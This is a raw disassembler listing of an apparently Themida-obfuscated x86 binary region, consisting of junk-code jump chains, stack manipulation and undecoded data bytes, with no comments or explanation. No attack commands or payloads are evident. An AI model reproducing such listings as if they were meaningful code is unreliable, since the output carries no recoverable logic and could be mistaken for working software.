loc_562557: ; CODE XREF: Themida_:00563AD2j
pop ebx
jmp loc_56589E
; ---------------------------------------------------------------------------
loc_56255D: ; CODE XREF: Themida_:0056036Aj
push 6E98h
mov [esp], edx
jmp loc_55C827
; ---------------------------------------------------------------------------
loc_56256A: ; CODE XREF: Themida_:0055E1B9j
push ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 4
jmp loc_559ABF
; ---------------------------------------------------------------------------
dw 2BAh
dd 1000000h, 2434FFD1h, 0FF48D5E9h, 8DE959FFh
db 93h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562593: ; CODE XREF: Themida_:0055688Cj
mov edx, [esp]
add esp, 4
push 20C1h
mov [esp], ebp
mov ebp, 4
add edx, ebp
pop ebp
push ebx
mov ebx, 13475D0Ch
inc ebx
jmp loc_55C6FA
; ---------------------------------------------------------------------------
db 87h, 3Ch, 24h
dd 0B1E9565Ch, 8900000Ch, 2B9240Ch, 1000000h, 348759CEh
dd 4285C24h, 0E4E99C24h
db 5, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5625D7: ; CODE XREF: Themida_:0055B485j
add esp, 4
sub esp, 4
jmp loc_55C2D5
; ---------------------------------------------------------------------------
loc_5625E5: ; CODE XREF: Themida_:0055909Aj
add edx, 6B806E0Eh
jmp loc_5664E5
; ---------------------------------------------------------------------------
dd 42474FFh, 24048F58h, 0E924248Bh, 0FFFFDF0Ah
; ---------------------------------------------------------------------------
loc_562600: ; CODE XREF: Themida_:00562B17j
add ebx, 4
add ebx, 4
jmp loc_556F87
; ---------------------------------------------------------------------------
dw 9068h
dd 89000012h, 4BD242Ch, 53000000h, 0C381E389h, 4, 4EB81h
dd 0EDE90000h, 0FFFFFFBEh, 59042474h, 8B24048Fh, 0F6682424h
dd 89000020h, 4BE2434h, 1000000h, 0C2815EF2h, 4, 0FFEABDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562655: ; CODE XREF: Themida_:00558C69j
mov edx, 4
add ecx, edx
push dword ptr [esp]
pop edx
add esp, 4
push edi
mov edi, esp
jmp loc_56286C
; ---------------------------------------------------------------------------
dw 6659h
dd 44E930FFh, 89FFFF05h, 4C381E3h, 83000000h, 1C8704C3h
dd 3E95C24h
db 40h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56268B: ; CODE XREF: Themida_:00555898j
mov esi, 52847C49h
inc esi
sub esi, 0DA83C874h
add ebx, esi
jmp loc_560959
; ---------------------------------------------------------------------------
loc_56269E: ; CODE XREF: Themida_:00559015j
xchg ebp, [esp]
pop esp
push 2C72h
jmp loc_55F3A0
; ---------------------------------------------------------------------------
dd 42474FFh, 0F56DE958h, 0BF66FFFFh, 66510EBAh, 66212FB9h
dd 55D8E181h, 73E98166h, 66416603h, 0AAE9F181h, 59CF0166h
dd 0B3F78166h, 0C38166C8h, 29664E97h, 0EB8166FBh, 0E95F4E97h
dd 253h, 8704C783h, 0E95C243Ch, 0FFFF04C3h, 0E95BDF31h
dd 0FFFF1BF4h
; ---------------------------------------------------------------------------
loc_562700: ; CODE XREF: Themida_:00565764j
push dword ptr [esp]
pop ebp
jmp loc_5588C4
; ---------------------------------------------------------------------------
db 81h, 0F1h, 0E3h
dd 0E9593D2Ch, 0FFFF8B1Dh
; ---------------------------------------------------------------------------
loc_562714: ; CODE XREF: Themida_:00567D12j
sub edx, 6C5B5DBBh
sub ebx, edx
jmp loc_55C20D
; ---------------------------------------------------------------------------
db 57h, 0BFh, 24h
dd 29EA5DB1h, 5C055FFAh, 2936EF46h, 465C2DD0h, 0C15A36EFh
dd 80505E0h, 813BE1E6h, 872999EBh, 0C5E2E976h, 3489FFFFh
dd 81E68924h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 2BF243Ch
dd 50000000h, 3B133CB8h, 35E0D17Dh, 86E46FB2h, 2B7FEA81h
dd 0C2290BB0h, 2B7FC281h, 0D3E90BB0h, 0DFFFF1Ch, 3EB12DC2h
dd 53545B25h, 25CC056Fh, 0C229EFECh, 0F9C28158h, 16AE21Fh
dd 0F9EA81CAh, 0E96AE21Fh, 0FFFF9077h
; ---------------------------------------------------------------------------
loc_5627AC: ; CODE XREF: Themida_:00565679j
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ecx, 5E0123A6h
and ecx, offset dword_5634B4
and ecx, 41302578h
shl ecx, 4
dec ecx
jmp loc_561DBC
; ---------------------------------------------------------------------------
db 68h, 0A2h, 1Ah
dd 11E901B4h, 81FFFF48h, 0C02358C6h, 18EE8114h, 810FED19h
dd 23FD4EC6h, 0E9F029C2h, 2BDBh
; ---------------------------------------------------------------------------
loc_5627F0: ; CODE XREF: Themida_:005616BDj
add ecx, 5977464Ch
jmp loc_553B66
; ---------------------------------------------------------------------------
db 0C1h
dd 0BD5506E2h, 52073190h, 0FF5E0FE9h, 2C283FFh, 1FBB68h
dd 24148900h, 1669E9h
db 0
; ---------------------------------------------------------------------------
loc_562819: ; CODE XREF: Themida_:00562B7Dj
push 169Ch
mov [esp], eax
push ebp
jmp loc_55D5E6
; ---------------------------------------------------------------------------
loc_562827: ; CODE XREF: Themida_:0055BF0Bj
mov eax, [esp]
jmp loc_565CC4
; ---------------------------------------------------------------------------
loc_56282F: ; CODE XREF: Themida_:00558107j
sub ebp, 4
xchg ebp, [esp]
jmp loc_5679DB
; ---------------------------------------------------------------------------
dw 1C89h
dd 8BB55124h, 0FF6779E9h, 24048BFFh, 4C481h, 54680000h
dd 8900000Ch, 0EC812414h, 4, 81242489h, 42404h, 0E95A0000h
dd 0FFFF0C0Eh
; ---------------------------------------------------------------------------
loc_56286C: ; CODE XREF: Themida_:00562669j
add edi, 4
sub edi, 4
push edi
jmp loc_560633
; ---------------------------------------------------------------------------
loc_56287E: ; CODE XREF: Themida_:0055E91Cj
mov [esp], ecx
mov ecx, 4
sub esp, 4
mov [esp], ebx
mov ebx, ecx
mov edi, ebx
mov ebx, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
push eax
mov eax, 572766E7h
add [esp+8], eax
pop eax
jmp loc_566DBB
; ---------------------------------------------------------------------------
dw 3C89h
dd 4BF24h, 0ACE90000h, 68FFFF35h, 54C2h, 1E03E9h
db 0
; ---------------------------------------------------------------------------
loc_5628C9: ; CODE XREF: Themida_:0055C52Fj
sub esp, 4
jmp loc_5634CA
; ---------------------------------------------------------------------------
dd 4C481h, 0C5010000h, 1FE1E9h
db 0
; ---------------------------------------------------------------------------
loc_5628E1: ; CODE XREF: Themida_:00561A58j
mov edi, edx
pop edx
sub ebp, 0EC0350Bh
sub ebp, 287E1B70h
add ebp, edi
add ebp, 287E1B70h
push edx
mov edx, 54944A2Eh
dec edx
and edx, 1A7B7A60h
inc edx
sub edx, 294D6C62h
xor edx, 7CEA73FBh
add edx, 749786C7h
jmp loc_5649CF
; ---------------------------------------------------------------------------
db 0BAh, 3Ch, 67h
dd 0D0311323h, 5A2434FFh, 57585450h, 4B850h, 0C7890000h
dd 8324048Bh, 0F9E904C4h, 66FFFF18h, 665BDD09h, 372EED81h
dd 0DB96651h, 0F1816605h, 0BCE91C52h, 8100001Bh, 0AB6EACC5h
dd 0E9E80143h, 0FFFF3B59h
dword_562964 dd 24048B66h, 81E28952h, 4ECh, 24048900h, 760BB5B8h, 4EC815Dh
; DATA XREF: Themida_:00552A68o
dd 0E9000000h, 25FAh
; ---------------------------------------------------------------------------
loc_562984: ; CODE XREF: Themida_:0055DA64j
mov eax, 6CDF03DCh
sub [esp+8], eax
pop eax
mov edx, [esp]
push edi
jmp loc_566821
; ---------------------------------------------------------------------------
loc_562997: ; CODE XREF: Themida_:0055D23Fj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_563127
; ---------------------------------------------------------------------------
loc_5629AB: ; CODE XREF: Themida_:0055A4FBj
pop esp
jmp loc_55D76F
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
dd 4240481h, 0E9000000h, 0FFFF7308h, 59C8295Ah, 0FF1C23E9h
dd 0D8C281FFh, 8B4A3744h, 0C481240Ch, 4, 677AEA81h, 0E953BA85h
dd 0FFFF48D7h, 348BF731h, 0E9545724h, 0FFFFA29Ch
; ---------------------------------------------------------------------------
loc_5629F0: ; CODE XREF: Themida_:0055D611j
mov esi, 4
jmp loc_55669F
; ---------------------------------------------------------------------------
loc_5629FA: ; CODE XREF: Themida_:00553882j
add edi, 4
jmp loc_55BB8C
; ---------------------------------------------------------------------------
dw 0CE81h
dd 41873E23h, 0FFFFC681h, 0C681FFFFh, 8C008092h, 8DEC781h
dd 0F7015CE2h, 5714E9h
db 0
byte_562A21 db 0ACh, 0E9h, 0F0h ; DATA XREF: Themida_:00552988o
dd 0B8FFFF99h, 61F87758h, 0FF2630E9h, 50ED81FFh, 10238B1h
dd 0C7815DEFh, 4, 5C243C87h, 8904EC83h, 8DB1240Ch, 0C0C4F180h
dd 0C98004E1h, 0D4E98046h, 0E959CB28h, 0FFFFF9F9h
; ---------------------------------------------------------------------------
loc_562A60: ; CODE XREF: Themida_:0055D499j
pop eax
sub eax, 0FFFFFFFFh
not eax
inc eax
shr eax, 3
neg eax
push 58D3h
mov [esp], ebp
mov ebp, 251F3E35h
neg ebp
add ebp, 0D1FE7711h
jmp loc_5577DE
; ---------------------------------------------------------------------------
aWichf5 db 'W┴ГhF5',0
align 10h
dd 0FF89B4E9h, 0B85055FFh, 43445284h, 70E9C589h
db 17h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_562AA3: ; CODE XREF: Themida_:005638A9j
mov eax, [esp]
push ebp
jmp loc_55A1AF
; ---------------------------------------------------------------------------
loc_562AAC: ; CODE XREF: Themida_:0055A63Ej
xchg ebp, [esp]
jmp loc_55A565
; ---------------------------------------------------------------------------
dd 0EA295B5Dh, 83242C8Bh, 0B85004C4h, 53FB649Ch, 0E02B8725h
dd 0FCB9E92Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562ACE: ; CODE XREF: Themida_:00566D1Ej
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_5592E0
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 4EC81h, 34890000h, 835E5424h, 0A6E904ECh, 89FFFFB3h
dd 4C381E3h, 0E9000000h, 0FFFFC488h
; ---------------------------------------------------------------------------
loc_562B00: ; CODE XREF: Themida_:00564191j
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push 0CDEh
mov [esp], ebx
mov ebx, esp
jmp loc_562600
; ---------------------------------------------------------------------------
dword_562B1C dd 8B2434FFh, 0E9572404h, 0FFFFDE79h, 0AE7F2905h, 5F590511h
; DATA XREF: Themida_:00552B40o
dd 0C6E97740h
db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562B37: ; CODE XREF: Themida_:0055EF83j
inc ebx
shl ebx, 4
jmp loc_553555
; ---------------------------------------------------------------------------
dd 42474FFh, 40A1E95Eh, 0C481FFFFh, 4, 31242C33h, 2C33242Ch
dd 5CE95C24h
db 0, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562B5F: ; CODE XREF: Themida_:00554AA3j
mov bh, 16h
xor dh, bh
pop ebx
sub bl, dh
mov edx, [esp]
add esp, 4
add bl, 4Ah
movzx eax, al
jmp loc_564D3B
; ---------------------------------------------------------------------------
loc_562B7A: ; CODE XREF: Themida_:005543A3j
add esp, 4
jmp loc_562819
; ---------------------------------------------------------------------------
dw 0C181h
dd 59A76B74h, 0FFA45FE9h, 11C068FFh, 64E90000h, 29FFFFEEh
dd 38859CBh, 0FF3AF3E9h, 5ABF57FFh, 8167B55Ch, 8C73BEC5h
dd 81FD0126h, 8C73BEEDh, 525F5F26h, 4BAh, 0FFD50100h, 0E95A2434h
dd 0FFFFCFFEh, 242C8B54h, 4C481h, 0BE560000h, 7A1C1EFDh
dd 1EF9EE81h, 0C3E97A1Ch, 5300004Eh, 0FF955BE9h, 89CE89FFh
dd 5AF8E9F3h, 1C8BFFFFh, 4C48324h, 0FF0891E9h
db 0FFh
byte_562BFD db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552AF0o
dd 0FF1486E9h, 7FB450FFh, 0E3307BB3h, 4EC8158h, 89000000h
dd 0CB62414h, 4DE9C6FEh, 50FFFF81h, 6627BE56h, 0F08976AEh
dd 0FF5693E9h, 1EE950FFh
db 27h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562C33: ; CODE XREF: Themida_:00552E0Ej
push edx
mov edx, 0C6A189F7h
sub esi, 26E16B48h
add esi, edx
add esi, 26E16B48h
pop edx
add edx, esi
pop esi
xchg edx, [esp]
pop esp
xor eax, 53437086h
or eax, eax
jnz loc_55FB6E
push eax
push esi
jmp loc_555391
; ---------------------------------------------------------------------------
db 1
dd 243C8BFEh, 3304C483h, 34312434h, 24343324h, 0D224248Bh
dd 0E99C2424h, 0FFFEFF3Bh
; ---------------------------------------------------------------------------
loc_562C80: ; CODE XREF: Themida_:00567D9Cj
mov edx, 4
add esi, edx
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add esi, 4
xchg esi, [esp]
pop esp
add edx, 50FB5471h
pop ebp
and eax, edx
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_559116
; ---------------------------------------------------------------------------
loc_562CC1: ; CODE XREF: Themida_:00567B54j
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
jmp loc_564B02
; ---------------------------------------------------------------------------
loc_562CD2: ; CODE XREF: Themida_:0055B60Dj
xor eax, edx
jmp loc_565FC7
; ---------------------------------------------------------------------------
loc_562CD9: ; CODE XREF: Themida_:00561092j
add ecx, 2
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
push eax
jmp loc_55DC89
; ---------------------------------------------------------------------------
aTs1 db 'TИ1',0Ah,0
align 10h
dd 490C4E35h, 736D2D05h, 6FE97B66h, 59FFFFB7h, 81242C8Bh
dd 4C4h, 29D7E900h, 0EC83FFFFh, 570DE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562D16: ; CODE XREF: Themida_:005597B0j
xchg edi, [esp]
pop esp
push edx
mov edx, esp
jmp loc_567B42
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 68241C89h, 7B961352h, 83241C8Bh, 0A4E904C4h
db 39h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_562D3B: ; CODE XREF: Themida_:00566E66j
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_556345
; ---------------------------------------------------------------------------
db 96h
dd 0C631F031h, 0D6F7F031h, 0FFAB20E9h, 21C105FFh, 0A4683560h
dd 8900007Bh, 5EBA2414h, 68092B1Eh, 310Ah, 0E9242C89h
dd 3D95h, 0E99CC884h, 43FDh
dword_562D88 dd 5A2434FFh, 8904EC83h, 5456242Ch, 4C6815Eh, 81000000h
; DATA XREF: Themida_:005529D8o
dd 4ECh, 242C8900h, 5B2932BDh, 0EF2BE946h, 0D989FFFFh
dd 5B2434FFh, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 8324048Bh
dd 815F04C4h, 4ECh, 0C6E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_562DD6: ; CODE XREF: Themida_:0055CEBCj
pop ebp
mov ebx, esi
pop esi
and ebp, ebx
pop ebx
push edi
jmp loc_55F591
; ---------------------------------------------------------------------------
loc_562DE3: ; CODE XREF: Themida_:00568049j
mov esi, 4
jmp loc_55B714
; ---------------------------------------------------------------------------
db 5Dh, 81h, 0C2h
dd 669E7261h, 0EA81C201h, 669E7261h, 0E924048Bh, 0FFFFB6A2h
dd 48BE588h, 4C48124h, 0
dd 982C58E5h, 0E800E704h, 0FEE9E72Ch, 50FFFF7Bh, 5039E952h
dd 0C483FFFFh, 2434FF04h, 4C48159h, 55000000h, 0FF01DCE9h
dd 0E9015FFFh, 0E9D9F75Dh, 0FFFF168Ah, 7B023768h, 0F748580Dh
dd 264205D0h, 0F90561F2h, 89AB88DBh, 0FE0158C7h, 1D68525Fh
dd 8900003Dh, 2B9240Ch, 50000000h, 1A4BE951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562E72: ; CODE XREF: Themida_:00556F82j
mov ebp, [esp]
push ebx
push esp
pop ebx
add ebx, 4
jmp loc_554496
; ---------------------------------------------------------------------------
db 5Bh
dd 4B951h, 0CE010000h, 0FF6F32E9h, 0D1EF81FFh, 0E94F85ACh
dd 0FFFF7133h, 56241C89h, 0C5083268h, 24348B1Ch, 8104C483h
dd 5D1C47EEh, 45EE8147h, 81394527h, 0C9AFACEEh, 0F7895732h
dd 464DE9h, 24148B00h, 4C481h, 0E7D10000h, 47D7F747h, 3452E9h
dd 0E95F6600h, 0FFFF7BCFh
dword_562EE0 dd 592434FFh, 6A6CE957h, 3487FFFFh, 14875C24h, 3BE95C24h
; DATA XREF: Themida_:00552AB8o
db 8Bh, 2 dup(0FFh)
off_562EF7 dd offset dword_554E68 ; DATA XREF: Themida_:005528F0o
align 4
dd 0E9241489h, 952h
; ---------------------------------------------------------------------------
loc_562F04: ; CODE XREF: Themida_:0055EFEBj
mov edx, 5ADF1BD2h
jmp loc_563F09
; ---------------------------------------------------------------------------
dw 15Bh
dd 240C8BCDh, 24BAE9h, 0BF6600h, 0EF296600h, 66FD8766h
dd 212AE95Fh, 0EC830000h, 243C8904h, 6D70BEBFh, 47D7F71Ch
dd 4026CF81h, 75E9244Eh, 83FFFF46h, 0E82802C4h, 240C8B66h
dd 1DE76855h, 1BE90000h, 8BFFFF00h, 0F1F72424h, 263768h
dd 24148900h, 50E99C50h, 66FFFEFCh, 48E99C50h, 50FFFEFCh
dd 4B8h, 58C10100h, 0FFD431E9h, 0CC3A2DFFh, 0C22190D5h
dd 42E2D158h, 67E8E281h, 0B8500989h, 77542A6Bh, 0C324E525h
dd 8149E955h, 0E2C1FFFFh, 0D6E28104h, 56395A5Fh, 949B7BEh
dd 65B85021h, 2973BD3Dh, 0FE958C6h
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562FBF: ; CODE XREF: Themida_:005561C3j
add esp, 4
push esi
mov esi, edi
mov edx, esi
pop esi
pop edi
loc_562FC9: ; CODE XREF: Themida_:005582B3j
; Themida_:0056008Fj
push esi
push 0A47h
mov [esp], ebx
push edx
push edi
push 7BDB79A1h
pop edi
dec edi
and edi, 67A52A80h
not edi
xor edi, 0ADC8EF0Fh
mov edx, edi
pop edi
sub dword ptr [esp+4], 6FC42CA6h
add [esp+4], edx
add dword ptr [esp+4], 6FC42CA6h
jmp loc_565EA9
; ---------------------------------------------------------------------------
db 5Fh, 2Dh, 4
dd 33000000h, 4312404h, 24043324h, 0E924248Bh, 0FFFF1D39h
; ---------------------------------------------------------------------------
loc_56301C: ; CODE XREF: Themida_:0055859Cj
xchg ebp, [esp]
jmp loc_55EC1E
; ---------------------------------------------------------------------------
dd 5BEE8146h, 0E97EC511h, 0FFFF24E9h, 4C481h, 0F3300000h
dd 0EF58E95Ah, 0C830FFFFh, 4E19E9h, 87D58700h, 85C4E9D5h
dd 0BB53FFFFh, 4, 9EE9D801h
db 22h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56305B: ; CODE XREF: Themida_:0055F4FBj
mov [esp], ebx
push eax
mov eax, 5F2F2FE6h
jmp loc_565E63
; ---------------------------------------------------------------------------
loc_563069: ; CODE XREF: Themida_:0055FBA0j
pop ecx
jmp loc_5653BB
; ---------------------------------------------------------------------------
loc_56306F: ; CODE XREF: Themida_:0055C718j
pop ecx
push ecx
mov ecx, 575E30B1h
sub edx, ecx
pop ecx
dec edx
push esi
mov esi, 5B32D5Bh
jmp loc_55EE72
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 50E78957h, 0FF61D5E9h, 14C581FFh, 5E5B9D61h, 0DDEE815Fh
dd 811F174Eh, 0ED2A11EEh, 81EE011Ah, 0ED2A11C6h, 0DDC6811Ah
dd 0E91F174Eh, 0FFFF65EBh, 4247401h, 8124348Bh, 4C4h, 0BD555900h
dd 1CA0503Fh, 0FFA1B1E9h, 405FFh, 4050000h, 0E9000000h
dd 0FFFFB865h
; ---------------------------------------------------------------------------
loc_5630E0: ; CODE XREF: Themida_:00559F86j
mov [esp], ecx
mov ecx, 37053330h
push edi
mov edi, 0BE960BEh
jmp loc_5585EC
; ---------------------------------------------------------------------------
db 81h
dd 0F8042444h, 0E933205Dh, 0FFFF9DEAh
; ---------------------------------------------------------------------------
loc_563100: ; CODE XREF: Themida_:00555EF3j
mov esp, [esp]
mov [esp], ebx
mov ebx, 755F3568h
jmp loc_5557CC
; ---------------------------------------------------------------------------
dd 0E9240C31h, 0FFFF0633h
; ---------------------------------------------------------------------------
loc_563118: ; CODE XREF: Themida_:00564A6Dj
xchg edx, [esp]
pop esp
sub esp, 4
mov [esp], esi
jmp loc_556B12
; ---------------------------------------------------------------------------
loc_563127: ; CODE XREF: Themida_:005629A6j
pop esp
and eax, ebp
jmp loc_55AF2F
; ---------------------------------------------------------------------------
loc_56312F: ; CODE XREF: Themida_:00553240j
xor al, 51h
add cl, 0D8h
sub cl, 4Ah
sub cl, al
add cl, 4Ah
sub cl, 0D8h
push dword ptr [esp]
jmp loc_56401D
; ---------------------------------------------------------------------------
loc_563147: ; CODE XREF: Themida_:0055AF69j
xor esi, eax
xchg eax, edi
jmp loc_5568B9
; ---------------------------------------------------------------------------
db 89h
dd 0E0892404h, 4EA368h, 241C8900h, 1BB9E9h, 24048900h
dd 42474FFh, 0E924048Bh, 4ADDh
; ---------------------------------------------------------------------------
loc_563170: ; CODE XREF: Themida_:00553B4Cj
push eax
push ecx
mov eax, [esp]
jmp loc_55CAD2
; ---------------------------------------------------------------------------
loc_56317A: ; CODE XREF: Themida_:0055F769j
mov edi, 4
add ebp, edi
pop edi
xchg ebp, [esp]
pop esp
xor al, bl
push dword ptr [esp]
pop ebx
add esp, 4
xor bl, al
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_552BBB
; ---------------------------------------------------------------------------
dd 1CD7055Bh, 672D0C7Fh, 2D451661h, 2CD46C0h, 0FF7FB2E9h
dd 596C04FFh, 3F24C0FEh, 0FE05E8C0h, 34D8F6C8h, 5BD80021h
dd 8904EC83h, 0B753240Ch, 80DFF644h, 0E78014C7h, 0E9C7FEADh
dd 0FFFFCF63h, 0FEF9DAE9h, 0A1BD55FFh, 0C14FAB2Bh, 0ED8107EDh
dd 64CB4A93h, 5504EDC1h, 0E92414F7h, 0FFFFCB2Eh, 14EDE959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_563202: ; CODE XREF: Themida_:00563A5Aj
sub eax, 0B882D78Fh
mov ecx, eax
pop eax
add ebx, ecx
push dword ptr [esp]
pop ecx
jmp loc_564667
; ---------------------------------------------------------------------------
loc_563215: ; CODE XREF: Themida_:0055E6DAj
pop edx
jmp loc_561777
; ---------------------------------------------------------------------------
db 5Fh
dd 4950F781h, 51E93105h, 68FFFFACh, 204123A6h, 0E924348Bh
dd 0FFFF2A3Eh
; ---------------------------------------------------------------------------
loc_563234: ; CODE XREF: Themida_:00567678j
neg edx
or edx, 7CAE0905h
push 5044h
mov [esp], esi
jmp loc_563AEE
; ---------------------------------------------------------------------------
db 59h, 81h, 0ECh
dd 4, 56240489h, 2F01CEBEh, 0CA7CE945h, 248BFFFFh, 398DE924h
dd 4205FFFFh, 0E9577A24h, 0FFFFA104h, 0AE426168h, 4685E41h
dd 8900006Ch, 0BDE9241Ch
db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563283: ; CODE XREF: Themida_:00554A21j
mov [esp], edx
mov edx, 34BE7791h
mov eax, 34BE7795h
jmp loc_55364C
; ---------------------------------------------------------------------------
loc_563295: ; CODE XREF: Themida_:00552DFCj
or esi, 61787A08h
inc esi
push ecx
mov ecx, 4D660422h
sub esi, ecx
pop ecx
push ecx
mov ecx, 0CD3E03D1h
sub esi, ecx
mov ecx, [esp]
add esp, 4
push eax
mov eax, 453A1C32h
not eax
shr eax, 8
add eax, 28DF7817h
inc eax
shr eax, 5
jmp loc_566AF1
; ---------------------------------------------------------------------------
loc_5632CF: ; CODE XREF: Themida_:0055549Ej
pop esp
mov [esp], edi
push 369061EBh
push dword ptr [esp]
mov edi, [esp]
jmp loc_559739
; ---------------------------------------------------------------------------
loc_5632E3: ; CODE XREF: Themida_:00557262j
push edx
mov edx, 29654107h
mov esi, edx
push dword ptr [esp]
jmp loc_56253C
; ---------------------------------------------------------------------------
loc_5632F3: ; CODE XREF: Themida_:0055FD61j
push 3E1B34A7h
mov edx, [esp]
add esp, 4
sub dword ptr [esp+4], 1AC16DB6h
jmp loc_560794
; ---------------------------------------------------------------------------
db 5Ch
dd 448FBD55h, 71E959AFh
db 0EAh, 2 dup(0FFh)
byte_563317 db 66h ; DATA XREF: Themida_:00552A7Co
dd 0F17E9ADh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56331E: ; CODE XREF: Themida_:00559EE1j
pop ebx
jmp loc_567623
; ---------------------------------------------------------------------------
dd 485E954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56332A: ; CODE XREF: Themida_:0055C62Aj
mov [esp], esi
push edx
mov edx, 12806B88h
inc edx
xor edx, 5FCA42C8h
xor edx, 2E8C19E5h
mov esi, edx
jmp loc_565B37
; ---------------------------------------------------------------------------
db 2Dh
dd 211A3857h, 52BE565Eh, 8159D443h, 2D2FDCCEh, 0E6C6813Bh
dd 0F75D5C14h, 2303E9D6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563366: ; CODE XREF: Themida_:0055CE68j
add eax, 1B1905F1h
jmp loc_55D8E0
; ---------------------------------------------------------------------------
loc_563370: ; CODE XREF: Themida_:00565FD0j
add edx, 123E3F63h
mov eax, [esp]
add esp, 4
sub edx, ebx
sub edx, 6B9F2CD5h
pop ebx
jmp loc_560D58
; ---------------------------------------------------------------------------
dw 0C520h
dd 24048B66h, 8002C483h, 0E5C03DE5h, 53536603h, 0C381E389h
dd 4, 4EB81h, 1C870000h, 24248B24h, 0B2241489h, 17A6E913h
dd 1489FFFFh, 2E39BA24h, 0E2C1058Eh, 8A7DE902h, 4FFFFFFh
dd 0FE49E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5633D2: ; CODE XREF: Themida_:0055DB0Dj
sub esp, 4
mov [esp], eax
mov eax, 3F7A7C19h
add esi, eax
pop eax
jmp loc_556199
; ---------------------------------------------------------------------------
dd 0DA30A805h, 68555F57h, 5220424Fh, 7EDC15Dh, 1E12E945h
dd 0BD550000h, 26B86286h, 8108E5C1h, 0C07013C5h, 2E4FE934h
dd 4890000h, 9F86824h, 24890000h, 24048124h, 4, 0FFB978E9h
dd 34FF5CFFh, 24048B24h, 0FF3EB7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563435: ; CODE XREF: Themida_:0055336Aj
mov [esp], edi
push eax
pop edi
push eax
mov eax, edi
push edi
mov edi, eax
mov ebp, edi
pop edi
pop eax
jmp loc_55BDA2
; ---------------------------------------------------------------------------
db 2Dh, 0C2h, 5Ch
dd 0BA525D30h, 19837DB6h, 1240EA81h, 0D0019E69h, 8324148Bh
dd 0F5E904C4h, 0BA00004Bh, 7FD01C95h, 3F0CE942h, 0BD660000h
dd 0F766592Dh, 468CE9D5h, 7EBFFFFFh, 683F690Fh, 0
dd 5F243C29h, 321CE9h, 0E9536600h, 0FFFF1306h
; ---------------------------------------------------------------------------
loc_563498: ; CODE XREF: Themida_:0055368Dj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop ebx
not ebx
push eax
push ebx
push dword ptr [esp]
jmp loc_56457C
; ---------------------------------------------------------------------------
dw 5E58h
dword_5634B4 dd 0FEFAACE9h ; DATA XREF: Themida_:005627B8o
db 0FFh
; ---------------------------------------------------------------------------
loc_5634B9: ; CODE XREF: Themida_:0055E6EDj
pop ebx
sub ecx, ebp
sub ecx, 5CCE3315h
pop ebp
and eax, ecx
jmp loc_561F81
; ---------------------------------------------------------------------------
loc_5634CA: ; CODE XREF: Themida_:005628CFj
mov [esp], esi
jmp loc_55EFE5
; ---------------------------------------------------------------------------
loc_5634D2: ; CODE XREF: Themida_:0055E31Fj
mov esp, [esp]
and eax, esi
jmp loc_567A2A
; ---------------------------------------------------------------------------
aPirrsg db 'P┴ЮRИG&',0
dd 8BDF2900h, 0C481241Ch, 4, 0FF6924E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5634F5: ; CODE XREF: Themida_:0055448Aj
mov esp, [esp]
push dword ptr [edi+eax*4]
mov eax, [esp]
push 4B00h
mov [esp], esi
mov esi, esp
add esi, 4
push edi
jmp loc_56628E
; ---------------------------------------------------------------------------
dd 81E18951h, 4C1h, 4E98300h, 8B240C87h, 28E92424h, 8100001Fh
dd 0DA3EC6C7h, 5FF889ECh, 48BC329h, 4C48324h, 0E9008F66h
dd 0FFFEF677h, 8B24048Fh, 3CD32424h, 58E99C24h, 81FFFF3Ah
dd 0AA2AAFE2h, 30EA8151h, 0E90E9E73h, 0FFFFAF58h, 1354ED81h
dd 1168AD5Ch, 0E9000014h, 0FFFF11ECh, 4EE81h, 34870000h
dd 0C895C24h, 3A60E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_563586: ; CODE XREF: Themida_:00565C1Ej
push edi
xchg ebp, [esp]
xor ebp, edi
xor edi, ebp
xor ebp, edi
not edi
xchg edi, ebp
xchg ebp, [esp]
mov edi, [esp]
jmp loc_563727
; ---------------------------------------------------------------------------
align 10h
dd 0D757E9F8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5635A6: ; CODE XREF: Themida_:00553ED5j
add esp, 4
